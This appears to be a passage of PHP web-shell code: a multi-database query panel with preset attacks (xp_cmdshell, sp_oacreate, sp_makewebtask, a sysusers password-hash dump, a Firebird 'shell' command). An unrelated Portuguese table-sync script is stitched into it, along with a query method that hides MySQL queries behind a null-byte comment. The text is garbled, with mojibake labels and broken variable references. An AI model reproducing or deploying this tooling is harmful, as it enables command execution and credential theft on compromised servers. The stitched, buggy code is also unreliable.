\treturn true;
}
</script>
<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br>
<select onchange="return msFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
\t<option value="5">sp_oacreate</option>
\t<option value="6">xp_cmdshell</option>
\t<option value="7">xp_cmdshell(2005)</option>
\t<option value="8">sp_oacreate(2005)</option>
\t<option value="9">����openrowset(2005)</option>
\t<option value="10">xp_cmdshell exec</option>
\t<option value="10">sp_oamethod exec</option>
\t<option value="11">sp_makewebtask</option>
</select>
<input type="hidden" name="action" value="msquery">
<input class="bt" type="submit" value="Query"></form></div>
END;
if ($msaction == 'msquery') {
$msconn = mssql_connect($mshost, $msuser, $mspass);
mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message());
$msresult = mssql_query($msquery) or die(mssql_get_last_message());
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
echo '<td><b>' . mssql_field_name($msresult, $i) . "</b></td>\n";
}
echo "</tr>\n";
mssql_data_seek($result, 0);
while ($msrow = mssql_fetch_row($msresult)) {
echo "<tr>\n";
for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
echo '<td>' . "{$msrow[$i]}" . '</td>';
}
echo "</tr>\n";
}
echo "</table></font>";
mssql_free_result($msresult);
mssql_close();
}
} elseif ($db == "ora") {
$orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost';
$oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521';
$orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******';
$orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******';
$orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL';
$oraaction = isset($_POST['action']) ? $_POST['action'] : '';
$oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : '';
$oraquery = stripslashes($oraquery);
print <<<END
<form method="POST" name="oraform" action="?s=gg&db=ora">
<div class="actall">
Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px">
Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px">
User:<input type="text" name="orauser" value="{$orauser}" style="width:80px">
Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px">
SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br>
<script language="javascript">
function oraFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select version();";
\tStr[2] = "SELECT NAME FROM V{$DATABASE}";
\tStr[3] = "select * From all_objects where object_type='TABLE'";
\tStr[4] = "select column_name from user_tab_columns where table_name='table1'";
\toraform.orasql.value = Str[i];
\treturn true;
}
</script>
<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br>
<select onchange="return oraFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
</select>
<input type="hidden" name="action" value="myquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($oraaction == 'oraquery') {
$oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror());
$oraresult = ociparse($oralink, $oraquery) or die(ocierror());
$orarow = oci_fetch_row($oraresult);
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
for ($i = 0; $i < oci_num_fields($oraresult); $i++) {
echo '<td><b>' . oci_field_name($oraresult, $i) . "</b></td>\n";
}
echo "</tr>\n";
ociresult($oraresult, 0);
while ($orarow = ora_fetch_row($oraresult)) {
echo "<tr>\n";
for ($i = 0; $i < ora_num_fields($result); $i++) {
echo '<td>' . "{$orarow[$i]}" . '</td>';
}
echo "</tr>\n";
}
echo "</table></font>";
oci_free_statement($oraresult);
ocilogoff();
}
} elseif ($db == "ifx") {
$ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******';
$ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******';
$ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb';
$ifxaction = isset($_POST['action']) ? $_POST['action'] : '';
$ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : '';
$ifxquery = stripslashes($ifxquery);
print <<<END
<form method="POST" name="ifxform" action="?s=gg&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br>
<script language="javascript">
function ifxFull(i){
Str = new Array(11);
\tStr[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select tabname from systables;";
\tStr[4] = "select colname from syscolumns where tabid=n;";
\tStr[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�����������</option>
\t<option value="1">���ݿ�</option>
\t<option value="2">����</option>
\t<option value="3">�ֶ�</option>
\t<option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($ifxaction == 'ifxquery') {
$ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
$ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
$ifxrow = ifx_fetch_row($ifxresult);
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n";
}
echo "</tr>\n";
mysql_data_seek($ifxresult, 0);
while ($ifxrow = ifx_fetch_row($ifxresult)) {
echo "<tr>\n";
for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
echo '<td>' . "{$ifxrow[$i]}" . '</td>';
}
echo "</tr>\n";
}
echo "</table></font>";
ifx_free_result($ifxresult);
ifx_close();
}
} elseif ($db == "db2") {
$db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
$db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
$db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******';
$db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******';
$db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
$db2action = isset($_POST['action']) ? $_POST['action'] : '';
$db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
$db2query = stripslashes($db2query);
print <<<END
<form method="POST" name="db2form" action="?s=gg&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br>
<script language="javascript">
function db2Full(i){
Str = new Array(4);
\tStr[0] = "";
\tStr[1] = "select schemaname from syscat.schemata;";
\tStr[2] = "select name from sysibm.systables;";
\tStr[3] = "select colname from syscat.columns where tabname='table_name';";
\tStr[4] = "db2 get db cfg for db_name;";
db2form.db2sql.value = Str[i];
return true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">���ݿ�����</option>
</select>
<input type="hidden" name="action" value="db2query">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($myaction == 'db2query') {
$db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
$db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg());
$db2row = db2_fetch_row($db2result);
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
for ($i = 0; $i < db2_num_fields($db2result); $i++) {
echo '<td><b>' . db2_field_name($db2result) . "</b></td>\n";
}
echo "</tr>\n";
while ($db2row = db2_fetch_row($db2result)) {
echo "<tr>\n";
for ($i = 0; $i < db2_num_fields($db2result); $i++) {
echo '<td>' . "{$db2row[$i]}" . '</td>';
}
echo "</tr>\n";
}
echo "</table></font>";
db2_free_result($db2result);
db2_close();
}
} elseif ($db == "fb") {
$fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
$fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
$fbpath = str_replace("\\\\", "\\", $fbpath);
$fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******';
$fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******';
$fbaction = isset($_POST['action']) ? $_POST['action'] : '';
$fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
$fbquery = stripslashes($fbquery);
print <<<END
<form method="POST" name="fbform" action="?s=gg&db=fb">
<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
<script language="javascript">
function fbFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
\tStr[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
\tStr[3] = "input 'D:\\createtable.sql';";
\tStr[4] = "shell netstat -an;";
fbform.fbsql.value = Str[i];
return true;
}
</script>
<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
<select onchange="return fbFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">����sql</option>
\t<option value="4">shell</option>
</select>
<input type="hidden" name="action" value="fbquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($fbaction == 'fbquery') {
$fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg());
$fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg());
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
echo '<td><b>' . ibase_field_info($fbresult, $i) . "</b></td>\n";
}
echo "</tr>\n";
ibase_field_info($fbresult, 0);
while ($fbrow = ibase_fetch_row($fbresult)) {
echo "<tr>\n";
for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
echo '<td>' . "{$fbrow[$i]}" . '</td>';
}
echo "</tr>\n";
}
echo "</table></font>";
ibase_free_result($fbresult);
ibase_close();
}
}
}
<?php
$sqlTotvsSX5010 = ociparse($totvsConexao, "SELECT COUNT(*) AS QTD_SX5010 FROM SX5010 WHERE X5_TABELA = 'CR'");
ociexecute($sqlTotvsSX5010);
$rowTotvsSX5010 = oci_fetch_array($sqlTotvsSX5010);
$quantidadeTotvsSX5010 = $rowTotvsSX5010['QTD_SX5010'];
$sqlMySQLPcpCor = mysql_query("SELECT COUNT(*) AS QTD_PCP_COR FROM tb_pcp_cor", $conexaoExtranet) or die(mysql_error());
$rowMySQLPcpCor = mysql_fetch_array($sqlMySQLPcpCor);
$quantidadeMySQLPcpCor = $rowMySQLPcpCor['QTD_PCP_COR'];
if ($quantidadeTotvsSX5010 != $quantidadeMySQLPcpCor) {
$quantidadeDiferenca = $quantidadeTotvsSX5010 - $quantidadeMySQLPcpCor;
enviaEmailNotificacao(date("d/m/Y h:i:s"), "PcpCor", $quantidadeTotvsSX5010, $quantidadeMySQLPcpCor, $quantidadeDiferenca);
echo "Sincronismo Validação Tabela de Cor Concluido e e-mail de Notificacao Enviado.<br>";
} else {
echo "Sincronismo Validação Tabela de Cor Concluido sem Divergencia.<br>";
}
function query($query)
{
$this->res = $this->error = '';
switch ($this->db) {
case 'MySQL':
if (false === ($this->res = @mysql_query('/*' . chr(0) . '*/' . $query, $this->connection))) {
$this->error = @mysql_error($this->connection);
return 0;
} else {
if (is_resource($this->res)) {
return 1;
}
}
return 2;
break;
case 'MSSQL':
if (false === ($this->res = @mssql_query($query, $this->connection))) {
$this->error = 'Query error';
return 0;
} else {
if (@mssql_num_rows($this->res) > 0) {
return 1;
}
}
return 2;
break;
case 'PostgreSQL':
if (false === ($this->res = @pg_query($this->connection, $query))) {
$this->error = @pg_last_error($this->connection);
return 0;
} else {
if (@pg_num_rows($this->res) > 0) {
return 1;
}
}
return 2;
break;
case 'Oracle':
if (false === ($this->res = @ociparse($this->connection, $query))) {
$this->error = 'Query parse error';
} else {
if (@ociexecute($this->res)) {
if (@ocirowcount($this->res) != 0) {
return 2;
}
return 1;
}
$error = @ocierror();
$this->error = $error['message'];
}
break;
}
return 0;
}
